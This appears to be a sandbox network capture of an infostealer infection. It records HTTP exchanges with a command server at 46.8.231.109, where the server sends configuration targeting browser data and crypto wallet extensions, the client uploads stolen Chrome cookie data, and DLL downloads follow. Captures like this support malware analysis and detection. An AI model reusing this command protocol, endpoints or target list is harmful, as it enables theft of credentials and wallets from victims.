RhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 7, 2024 17:21:59.472369909 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 7, 2024 17:21:59.475752115 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBF Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="message"plugins------EGCGHCBKFCFBFHIDHDBF--
Oct 7, 2024 17:21:59.652780056 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:21:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 7, 2024 17:21:59.652806044 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 7, 2024 17:21:59.652817011 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 7, 2024 17:21:59.652827024 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 7, 2024 17:21:59.652841091 CEST	896	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 7, 2024 17:21:59.652852058 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Oct 7, 2024 17:21:59.652863026 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Oct 7, 2024 17:21:59.656310081 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHI Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="message"fplugins------EHDHDHIECGCAEBFIIDHI--
Oct 7, 2024 17:21:59.833415031 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:21:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 7, 2024 17:21:59.857036114 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAA Host: 46.8.231.109 Content-Length: 5739 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 17:21:59.857085943 CEST	5739	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 7, 2024 17:22:00.167270899 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:21:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 17:22:00.168045044 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 17:22:00.746223927 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 7, 2024 17:22:00.746251106 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 7, 2024 17:22:00.746267080 CEST	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 7, 2024 17:22:01.191220045 CEST	950	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHC Host: 46.8.231.109 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------FIIIIJKFCAAECAKFIEHC--
Oct 7, 2024 17:22:01.417215109 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 17:22:01.512880087 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHID Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="file"------ECGDAAFIIJDAAAAKFHID--
Oct 7, 2024 17:22:01.750541925 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 17:22:02.744090080 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECB Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="file"------GCGDGHCBGDHJJKECAECB--
Oct 7, 2024 17:22:03.002094984 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 17:22:03.343854904 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 17:22:03.670954943 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 17:22:03.921497107 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 